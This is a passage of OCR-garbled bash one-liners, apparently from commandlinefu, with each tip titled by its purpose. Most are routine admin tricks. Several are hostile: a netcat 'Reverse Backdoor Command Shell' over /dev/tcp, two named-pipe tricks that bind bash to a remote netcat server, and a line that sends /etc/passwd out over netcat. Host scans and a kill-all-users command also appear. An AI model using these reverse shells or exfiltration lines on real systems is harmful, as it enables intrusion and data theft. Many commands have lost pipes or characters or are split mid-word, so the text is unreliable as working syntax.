Multiple variable assignments from command output in BASH
\$ read day month year < <(date +'%d %m %y')
List your MACs address
\$ cat /sys/class/net/eth0/address
Rename all files which contain the sub-string 'foo', replacing it with 'bar'
\$ for i in ./*foo*;do mv "\$i" "\${i//foo/bar}";done
Create a 5 MB blank file via a seek hole
\$ dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
Screensaver
\$ alias screensaver='for ((;;)); do echo - ne "\033[\$((1+RANDOM%LINES));\$((1+RANDOM%COLUMNS))H\033[\$((RANDOM%2));3\$((RANDOM%8))m\$((RANDOM%10))"; sleep 0.1; done'
ROT13 using the tr command
\$ alias rot13="tr a-zA-Z n-za-mN-ZA-M"

Bash logger
\$ script /tmp/log.txt
Recursively search for large files. Show size and location.
\$ findsize +100000k -exec du -h {} \;
Make vim open in tabs by default (save to .profile) \$ alias vim="vim -p"
Rename HTML files according to their title tag
\$ perl -wlne'/title>([^<]+)/i&&rename\$ARGV,"\$1.html" *.html
Secure copy from one server to another without rsync and preserve users, etc
\$ tar -czvf - /src/dir   ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
the same as [Esc] in vim
\$ Ctrl + [
Binary clock
\$ perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(05) {printf"%.4b ",\$d[\$_]}sleep 1}'
Function to split a string into an array
\$ read -a ARR <<<'world domination now!'; echo \${ARR[2]};
Generate MD5 hash for a string
\$ md5sum <<<"test"
Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in parallel
\$ parallel -j+0 "zcat {}   bzip2 >{.}.bz2 && rm {}" ::: *.gz
phpinfo from the command line
\$ php -i

\$ atb() { l=\$( tar tf \$1); if [ \$(echo "\$l"   wc -l) -eq \$(echo "\$l"   grep \$(echo "\$l"   head -n1)   wc -l) ]; then tar xf \$1; else mkdir \${1%. tar.gz} && tar xf \$1 -C \${1%. tar.gz}; fi ;}	
pretend to be busy in office to enjoy a cup of coffee	
\$ while [ true ]; do head -n 100 /dev/urandom; sleep .1; done   hexdump - C   grep "ca fe"	
runs a X session within your X session	
\$ ssh -C -Y -I\$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 - query localhost'	
Find all symlinks that link to directories	
\$ find -type I -xtype d	
Have a random "cow" say a random thing	
\$ fortune   cowsay -f \$(ls /usr/share/ cowsay/cows/   shuf -n1)	
sends a postscript file to a postscript printer using netcat	
\$ cat my.ps   nc -q 1 hp4550.mynet.xx 9100	
Display which distro is installed	
\$ cat /etc/*release	
Fetch every font from dafont.com to current folder	
$$ d="www.dafont.com/alpha.php?"; for c in {az}; do l=`curl -s "${d}lettre=${c}" sed -n 's/.*ge=\([0-9]\ {2\}\).*/\1/p'`; for((p=1;p<= ;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}" egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done$	
Realtime lines per second in a log file	
\$ tail -f access.log   pv -l -i10 -r >/dev/null	

**Escape potential tarbombs** 

intercept stdout/stderr of another process	
\$ strace -ff -e write=1,2 -s 1024 -p PID 2>&1   grep "^  "   cut -c11-60   sed -e 's/ //g'   xxd -r -p	
send DD a signal to print its progress	
\$ while :;do killall -USR1 dd;sleep 1;done	
See your current RAM frequency	
\$ dmidecode -t 17   awk -F":" '/Speed/ { print \$2 }'	
scp with compression.	
\$ scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql	
Perl Command Line Interpreter	
<pre>\$ perI -e 'while(1){print"&gt; ";eval&lt;&gt;}'</pre>	
Find unused IPs on a given subnet	
\$ nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp	5
Change the From: address on the fly for email sent from th line	e command
\$ mail -s "subject" user@todomain.com <e 'from="" -f="" customfrom@fromdomain.com="" display="" f="" mailbody.txt="" name'<="" td=""><td></td></e>	
find and delete empty dirs, start in current working dir	
\$ findtype d -empty -delete	
Check which files are opened by Firefox then sort by larges	st size.
$SIsof -p (pidof firefox)   awk '/.mozilla/ { s = int(\$7/(2^20)); if( s>0) print ( s)'' MB "\$9   " sort -rn" }'$	
Use colordiff in side-by-side mode, and with automatic colu	umn widths.
\$ colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2	

extract email adresses from some file (or any other pattern	1)
\$ grep -Eio '([[:alnum:]]+@[[:alnum:]]+?\.[[:alpha:].]{2,6})'	
geoip information	
\$ curl -s "http://www.geody.com/geoip.php?ip=\$( curl -s icanhazip.com)"   sed '/^IP:/!d;s/<[^>][^>]*>//g'	
What is my ip?	
\$ curl http://www.whatismyip.org/	
convert vdi to vmdk (virtualbox hard disk conversion to vn disk format)	nware hard
\$ VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qe mu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw	
FAST Search and Replace for Strings in all Files in Directo	•
$\  \   \  \   \  \   \  \   \  \   \  \ $	
Get the total length of time in hours:minutes:seconds (HH: all video (or audio) in the current dir (and below)	MM:SS) of
\$ find -type f -name "*.avi" -print0   xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null   perl -nle '/ID_LENGTH=([0-9\.]+)/ && (\$t +=\$1) && printf "%02d:%02d:%02d",\$t/3600,\$t/60%60,\$t%60'   tail -n 1	
Send data securly over the net.	
\$ cat /etc/passwd   openssl aes-256-cbc -a -e -pass pass:password   net cat -l -p 8080	
When was your OS installed?	
\$ Is -lct /etc   tail -1   awk '{print \$6, \$7}'	
How to run a command on a list of remote servers read fro \$ while read server; do ssh -n user@\$server "command"; done < servers.txt	_

Replace spaces in filenames with underscorees	
\$ Is   while read f; do mv "\$f" "\${f// /_}";done	
find the biggest files recursively, no matter how many	
\$ findtype f -printf '%20s %p '   sort -n   cut -b22-   tr ' ' \\000'   xargs -0   ls -laSr	
grep certain file types recursively	
\$ grep -rinclude="*.[ch]" pattern .	
Change process affinity.	
\$ taskset -cp <core> <pid></pid></core>	
back up your commandlinefu contributed commands	
\$ curl http://www.commandlinefu.com/commands/by/ <your username="">/rss gzip-&gt;commandlinefu-contribs-backup-\$(date +%Y-%m-%d-%H.%M.%S).rss.gz</your>	
benchmark web server with apache benchmarking tool	
\$ <b>ab</b> -n 9000 -c 900 localhost:8080/index.php	
Multiple SSH Tunnels	
\$ ssh -L :: -L :: @ 🔽	
Redirect incoming traffic to SSH, from a port of your choos	ing
\$ iptables -t nat -A PREROUTING -p tcpdport [port of your choosing] - j REDIRECTto-ports 22	
LDAP search to query an ActiveDirectory server	
\$ Idapsearch -LLL -H Idap://activedirectory.example.com:389 - b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' - w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'	
Easily scp a file back to the host you're connecting from	
\$ mecp () { scp "\$@" \${SSH_CLIENT%% *}:Desktop/; }	

Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
\$ echo "\$(( 0x10 )) - \$(( 010 )) = \$(( 0x10 - 010 ))"
find and replace tabs for spaces within files recursively
\$ find ./ -type f -exec sed -i 's/\t/ /g' {} \;
alt + 1.
\$ alt + 1 .
sends your internal IP by email
\$ ifconfig en1   awk '/inet / {print \$2}'   mail - s "hello world" e mail@e mail.com
synchronicity
\$ cal 09 1752
Terminal redirection
\$ script /dev/null   tee /dev/pts/3
Use mtr to create a text file report
\$ mtrreportreport-cycles 10 www.google.com > google_net_report.txt
Rot13 using the tr command
\$ alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]""
Measures download speed on eth0
\$ while true; do X=\$Y; sleep 1; Y=\$(ifconfig eth0 grep RX\ bytes awk '{ print \$2 }' cut -d : -f 2); echo "\$(( Y-X )) bps"; done
Clean swap area after using a memory hogging application
\$ swapoff -a; swapon -a
loop over a set of items that contain spaces
\$ Is   while read ITEM; do echo "\$ITEM"; done

[re]verify a disc with very friendly output
\$ dd if=/dev/cdrom   pv -s 700m   md5sum   tee test.md5
Traceroute w/TCP to get through firewalls.
\$ tcptraceroute www.google.com
Rotate a set of photos matching their EXIF data.
\$ jhead -autorot *.jpg
Launch a command from a manpage
\$!date
hard disk information - Model/serial no.
\$ hdparm -i[I] /dev/sda
Split File in parts
\$ split -b 19m file Nameforpart
Speak the top 6 lines of your twitter timeline every 5 minutes
\$ while [ 1 ]; do curl -s - u username:password http://twitter.com/statuses/friends_timeline.rss grep titl e sed -ne 's/<\/*title>//gp'   head -n 6  festivaltts; sleep 300;done
To get you started!
\$ vimtutor
Exclude grep from your grepped output of ps (alias included in description)
\$ ps aux   grep [h]ttpd
renames multiple files that match the pattern
\$ rename 's/foo/bar/g' *
infile search and replace on N files (including backup of the files)
\$ perl -pi.bk -e's/foo/bar/g' file1 file2 fileN

Command to logout all the users in one command	
\$ sudo who   awk '!/root/{ cmd="/sbin/pkill -KILL -u " \$1; system(cmd)}'	
Rename all subtitles files with the same name of mp4 files folder	in same
\$ paste -d: <(ls -1 *.mp4) <(ls -1 *.srt)   while read line; do movie="\${line%%:*}"; subtitle="\${line##*:}"; mv "\${subtitle}" "\${movie%.*}.srt"; done	
SSH connection through host in the middle	
\$ ssh -J user@reachable_host user@unreacheable_host	
!* Tells that you want all of the *arguments* from the previous command to be repeated in the current command	ous
\$ chmod 777 !*	
Show running services (using systemctl)	
\$ command systemctlno-pageno-legendplain -t service state=running	
Convert all JPEG images to MP4	
\$ cat *.jpg   ffmpeg -f image2pipe -r 1 -vcodec mjpeg -ivcodec libx264 out.mp4	
Binary clock	
\$ perl -e 'for(;;sleep 1){printf"\r"."%.4b "x6,split"",`date +%H%M%S`}'	
Bare Metal IRC Client	
\$ nik=clf\$RANDOM;sr=irc.efnet.org;expect - c "set timeout -1;spawn nc \$sr 6666;set send_human {.1 .2 1 .2 1};expect A UTH*	
;send -h \"user \$nik * * :\$nik commandlinefu nick \$nik	
\"; interact -o -re (PING.:)(.*\\$) {send \"PONG :\\$interact_out(2,string)\"}"	
nulsed terminal clock	

```
-));do tput cup 0 $a;echo $(date) "`";done;done
```

\$ <ctrl>+0</ctrl>
Encrypted chat with netcat and openssl (one-liner)
\$ server\$ while true; do read -n30 ui; echo \$ui   openssl e nc -aes-256-ctr -a -k PaSSw; done   nc -l -p 8877   while read so: do decoded, so=`echo "\$so"  openssl e nc -d -a -aes-256-
while read so; do decoded_so=`echo "\$so"  openssl e nc -d -a -aes-256-ctr -k PaSSw`; echo -e "I ncoming: \$decoded_so"; done
removes characters from cursor to the end of line \$ Ctrl+k \[ \]
Symlink all files from a base directory to a target directory
\$ In -s /BASE/* /TARGET/
All what exists in dir B and not in dir A will be copied from dir B to new or existing dir C
\$ rsync -v -rsize-onlycompare-dest=/A/ B/ C/
find previously entered commands (requires configuring .inputrc)
\$ <meta-p> (aka <alt+p>)</alt+p></meta-p>
Add directory to \$PATH if it's not already there
\$ if [[ ":\$PATH:" != *":\$dir:"* ]]; then PATH=\${PATH}:\$dir; fi
Debug how files are being accessed by a process
\$ inotifywait -m -r .
Convert JSON to YAML
\$ python - c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, def ault_flow_style=False)' < file.json > file.yaml

Submit command & rewrite orginal command

Search google.com on your terminal	
\$ Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search? q="; AGENT="Mozilla/4.0"; stream=\$(curl -A "\$AGENT" - skLm 10 "\${GOOG_URL}\"\${Q\\ /+}\""   grep -oP 'Vurl\?q=.+?&'   sed 's/\url?q=//;s/&//'); echo -e "\${stream/\\%/\x}"	
Reverse Backdoor Command Shell using Netcat	
\$ exec 5<>/dev/tcp/ <your-box>/8080;cat &lt;&amp;5   while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done</your-box>	
Emulating netcat -e (netcat-traditional or netcat-openbsd) netcat	with the gnu
\$ mkfifo foo ; nc -lk 2600 0 <foo 1="" bash="" bin=""  ="">foo</foo>	
Find biggest 10 files in current and subdirectories and sor	t by file size
\$ findtype f -print0   xargs -0 du -h   sort -hr   head -10	
Get your external IP and Network Info	
\$ curl ifconfig.me/all	
Quickly CD Out Of Directories Without 5+ Aliases	
\$ up() { local x=";for i in \$(seq \${1:-1});do x="\$x/"; done;cd \$x; }	
List all commands present on system	
\$ Is \${PATH//:/}	
A line across the entire width of the terminal	
\$ printf "%\$(tput cols)s " tr'''="	
Create the four oauth keys required for a Twitter stream fe	ed
$\$ step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token secret" ; once=\$RANDOM ; ts=\$(date +%s) ; hmac="\$k2& \$k4" ; id="19258798" ; }	

Check if a machine is online
\$ ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE    echo OFFLINE
diff the outputs of two programs
\$ diff <(exiftool img_1.jpg) <(exiftool img_2.jpg)
put an unpacked .deb package back together
\$ dpkg-repack firefox
extract element of xml
\$ xmlstarlet sel -t -c "/path/to/element" file.xml
Print all lines between two line numbers
\$ awk 'NR >= 3 && NR <= 6' /path/to/file
Show network throughput
\$ tcpdump -w -  pv -bert >/dev/null
Generate a random password 30 characters long
\$ cat /dev/urandom   tr -dc A-Za-z0-9   head -c 32
Remove the first and the latest caracter of a string
\$ var=:foobar:; echo \${var:1:-1}
Load file into RAM (cache) for faster accessing for repeated usage
\$ cat <file> &gt; /dev/null</file>
Show IP Address in prompt> PS1 var
\$ export PS1="[\u@`hostname -I`\W]\$ "
log a command to console and to 2 files separately stdout and stderi
\$ command > >(tee stdout.log) 2> >(tee stderr.log >&2)

Join lines split with backslash at the end	
\$ sed -e '/\\\$/{:0;N;s/\\ //;t0}'	
Convert text to lowercase	
\$ lower() { echo \${@,,}; }	
find builtin in bash v4+	
\$ Is -I /etc/**/*killall	
make image semi-transparent	
\$ convert input.png -alpha set -channel A -fx 0.5 output.png	
execute a shell with netcat without -e	
\$ mknod backpipe p && nc remote_server 1337 0 <backpipe 1="" bash="" bin=""  ="">backpipe</backpipe>	
output length of longest line	
\$ awk '(length > n) {n = length} END {print n}'	
Save your terminal commands in bash history in real time	
\$ shopt -s histappend; PROMPT_COMMAND="history -a;\$PROMPT_COMMAND"	
Connect via SSH to VirtualBox guest VM without knowing	P address
\$ ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP"   awk '{ print \$2 }'`	
Make redirects to localhost via /etc/hosts more interesting	
\$ sudo socat TCP4- LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavaila ble";'	
Tricky implementation of two-dimensional array in Bash. \$\arr[i*100+j]=\"whatever\" \[	

Terrorist threat level text	
\$ echo "Terrorist threat level: `od -An -N1 -i /dev/random`"	
Use wget to download one page and all it's requisites viewing	for offline
\$ wget -e robots=off -E -H -k -K -p http:// <page></page>	
Convert a string to "Title Case"	
\$ echo "this is a test"   sed 's/.*/\L&/; s/[a-z]*/\u&/g'	
RTFM function	
\$ rtfm() { help \$@    info \$@    man \$@    \$BROWSER "http://www.google.com/search?q=\$@"; }	
back ssh from firewalled hosts	
\$ ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip	
rename files according to file with colums of correspo	nding names
\$ xargs -n 2 mv < file_with_colums_of_names	
Create a new file	
\$ > file	
Monitor a file with tail with timestamps added	
\$ tail -f file   awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'	
Use result of the last command	
\$`!!`	
Check disk for bad sectors	
\$ badblocks -n -s -b 2048 /dev/sdX	
run a command whenever a file is touched	
\$ ontouchdo(){ while :; do a=\$(stat - c%Y "\$1"); [ "\$b" != "\$a" ] && b="\$a" && sh -c "\$2"; sleep 1; done }	

Create a file of a given size in linux
\$ truncate -s 1M file
Extended man command
\$ /usr/bin/man \$*    w3m -dump http://google.com/search?q="\$*"&btnl   less
Get notified when a job you run in a terminal is done, using NotifyOSD
\$ alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[\$?] \$(history tail -n1 sed -e '\"s/^\s*[0-9]\+\s*//;s/;\s*alert\$//'\")"
Show which process is blocking umount (Device or resource is busy)
\$ Isof /folder
Show the UUID of a filesystem or partition
\$ blkid /dev/sda7
run command on a group of nodes
\$ mussh -h host1 host2 host3 -c uptime
Setting global redirection of STDERR to STDOUT in a script
\$ exec 2>&1
Outgoing IP of server
\$ dig +short @resolver1.opendns.com myip.opendns.com
Isolate file name from full path/find output
\$ echo \${fullpath##*/}
Show numerical values for each of the 256 colors in bash
\$ for i in {0255}; do echo -e "\e[38;05;\${i}m\${i}"; done   column -c 80 - s ' '; echo -e "\e[m"
Use Kernighan & Ritchie coding style in C program
\$ indent -kr hello.c

Delay execution until load average falls under 1.5	
\$ echo 'some command'   batch	
backup with mysqldump a really big mysql database to a remachine over ssh	emote
\$ mysqldump -qskip-optforcelog-error=dbname_error.log -uroot - pmysqlpassword dbname   ssh - C user@ sshserver 'cd /path/to/backup/dir; cat > dbname.sql'	
Tail -f at your own pace	
\$ tail -fs 1 somefile	
Watch the progress of 'dd'	
\$ dd if=/dev/zero   pv   dd of=/dev/null	
Smart `cd` cd to the file directory if you try to cd to a file	
$cd() \{ if [-z"$1"]; then command cd; else if [-f"$1"]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; fi; fi$	
Temporarily ignore known SSH hosts	
\$ ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1	
dd with progress bar	
\$ dd if=/dev/nst0  pv  dd of=restored_file.tar	
Save the Top 2500 commands from commandlinefu to a sir	ngle text file
\$ curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2500:25]   grep -v _ curl_ > comfu.txt	
Simple addicting bash game.	
<pre>\$ count="1"; while true; do read next; if [[ "\$ next" = "\$last" ]]; then count =\$((\$count+1)); echo "\$count"; else count="1"; echo \$count; fi; last="\$ ne xt"; done</pre>	
Query Wikipedia via console over DNS	
\$ mwiki() { dig +short txt "\$*".wp.dg.cx; }	

Print a row of 50 hyphens  \$ python -c 'print "-"*50'
Display a wave pattern  \$ ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+' '*(29* (Math.cos(i)/2+1)); i+=0.1}"
grep tab chars \$ grep "^V <tab>" your_file</tab>
send a message to a windows machine in a popup \$ echo "message"   smbclient -M NAME_OF_THE_COMPUTER
Using mplayer to play the audio only but suppress the video \$ mplayer -novideo something.mpg
Using mplayer to play the audio only but suppress the video \$ mplayer -vo null something.mpg
create a temporary file in a command line call \$ any_script.sh < <(some command)
shell function to make gnu info act like man. \$ my info() { infosubnodes -o - \$1   less; }
Get your commandlinefu points (upvotes - downvotes)  \$ username=matthewbauer; curl - s http://www.commandlinefu.com/commands/by/\$username/json   tr '{' '
Replace spaces in filenames with underscores  \$ for f in *;do mv "\$f" "\${f// /_}";done

Insert the last argument of the previous command	
\$!\$	
Remote control for Rhythmbox on an Ubuntu Media PC	
\$ alias rc='ssh \${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-clientno-start'	
Remove everything except that file	
\$ find . ! -name <filename> -delete</filename>	
Remove today's Debian installed packages	
\$ grep -e `date +%Y-%m-%d` /var/log/dpkg.log   awk '/install / {print \$4}'   uniq   xargs apt-get -y remove	
Amazing real time picture of the sun in your wallpaper	
\$ curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg   xli -onroot -fill stdin	
bash screensaver off	
\$ setterm -powersave off -blank 0	
Monitor a file's size	
\$ watch -n60 du /var/log/messages	
Smart renaming	
\$ mmv 'banana_*_*.asc' 'banana_#2_#1.asc'	
is today the end of the month?	
\$ [ `datedate='next day' +'%B'` == `date +'%B'` ]    echo 'end of month'	
Port scan a range of hosts with Netcat.	
\$ for i in {2129}; do nc -v -n -z -w 1 192.168.0.\$i 443; done	

## Log your internet download speed

\$ echo \$(date +%s) > starttime; URL=http://www.google.com; while true; do echo \$(curl -L --w % {speed download} -o/dev/null -s \$URL) >> bps; sleep 10; done &



## **Show Directories in the PATH Which does NOT Exist**

\$ (IFS=:;for p in \$PATH; do test -d \$p || echo \$p; done)



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My other projects:

